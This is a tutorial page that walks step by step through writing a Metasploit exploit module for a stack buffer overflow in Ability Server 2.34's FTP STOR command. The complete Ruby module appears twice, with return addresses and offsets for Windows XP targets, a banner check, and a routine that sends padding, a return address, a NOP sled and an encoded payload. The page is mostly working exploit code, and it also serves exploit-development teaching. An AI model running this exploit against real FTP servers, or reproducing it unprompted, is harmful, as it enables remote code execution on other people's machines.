Exploit module
Remote Exploit
FTP exploit
Our example will be a very simple vulnerable FTP server called ability server.
What do we want?
- Create Exploit module
- Exploit FTP Server
- Set exploit rank
- Describe The module
- Let people know we created this module
- Add references about the vulnerability that we exploit
- Choose a default payload
- Set the Bad characters.
- Set Disclosure Date
- Targets and it’s return address (EIP offset)
- Options to set the target IP, port. Also username and password if required.
- Check the target if vulnerable.
- Send the exploit
- Check if the module has been written correctly (msftidy.rb)
Steps
- Create Exploit module
- Exploit FTP Server
- Put a rank for the module
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
### Module Type ###
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
- Describe The module
- Let people know we created this module
- Add references about the vulnerability that we exploit
- Choose a default payload
- Set the Bad characters.
- Set Disclosure Date
- Targets and it’s return address (EIP offset)
- Options to set the target IP, port. Also username and password if required.
def initialize(info = {})
super(update_info(
info,
'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Ability Server 2.34.
Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.
The vulnerability has been confirmed on version 2.34 and has also been reported
in version 2.25 and 2.32. Other versions may also be affected.},
'License' => MSF_LICENSE,
'Author' =>
[
'muts', # Initial discovery
'Dark Eagle', # same as muts
'Peter Osterberg', # Metasploit
'Ruby (@Rubyfu)', # Just explain the module
],
'References' =>
[
[ 'CVE', '2004-1626' ],
[ 'OSVDB', '11030'],
[ 'EDB', '588'],
['URL', 'http://rubyfu.net'] # Just explain the module
],
'Platform' => %w{ win },
'Targets' =>
[
[
'Windows XP SP2 ENG',
{
#JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3)
'Ret' => 0x73E32ECF,
'Offset' => 966
}
],
[
'Windows XP SP3 ENG',
{
#JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully patched)
'Ret' => 0x7E429353,
'Offset' => 966
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 22 2004'
))
register_options(
[
Opt::RPORT(21),
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
], self.class)
end
- Check the target if vulnerable.
def check
connect
disconnect
if banner =~ /Ability Server 2\.34/
return Exploit::CheckCode::Appears
else
if banner =~ /Ability Server/
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
end
- Send the exploit
def exploit
c = connect_login
return if not c
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
# Take client IP address + FTP user lengths into account for EIP offset
padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
junk = rand_text_alpha(padd_size)
sploit = junk
sploit << [target.ret].pack('V')
sploit << make_nops(32)
sploit << payload.encoded
sploit << rand_text_alpha(sploit.length)
send_cmd(['STOR', sploit], false)
handler
disconnect
end
Wrapping up
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(
info,
'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Ability Server 2.34.
Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.
The vulnerability has been confirmed on version 2.34 and has also been reported
in version 2.25 and 2.32. Other versions may also be affected.},
'License' => MSF_LICENSE,
'Author' =>
[
'muts', # Initial discovery
'Dark Eagle', # same as muts
'Peter Osterberg', # Metasploit
'Ruby (@Rubyfu)', # Just explain the module
],
'References' =>
[
[ 'CVE', '2004-1626' ],
[ 'OSVDB', '11030'],
[ 'EDB', '588'],
['URL', 'http://rubyfu.net'] # Just explain the module
],
'Platform' => %w{ win },
'Targets' =>
[
[
'Windows XP SP2 ENG',
{
#JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3)
'Ret' => 0x73E32ECF,
'Offset' => 966
}
],
[
'Windows XP SP3 ENG',
{
#JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully patched)
'Ret' => 0x7E429353,
'Offset' => 966
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 22 2004'
))
register_options(
[
Opt::RPORT(21),
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
], self.class)
end
def check
connect
disconnect
if banner =~ /Ability Server 2\.34/
return Exploit::CheckCode::Appears
else
if banner =~ /Ability Server/
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
end
def exploit
c = connect_login
return if not c
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
# Take client IP address + FTP user lengths into account for EIP offset
padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
junk = rand_text_alpha(padd_size)
sploit = junk
sploit << [target.ret].pack('V')
sploit << make_nops(32)
sploit << payload.encoded
sploit << rand_text_alpha(sploit.length)
send_cmd(['STOR', sploit], false)
handler
disconnect
end
end
- Check if the module has been written correctly (msftidy.rb)
metasploit-framework/tools/dev/msftidy.rb ability_server_stor.rb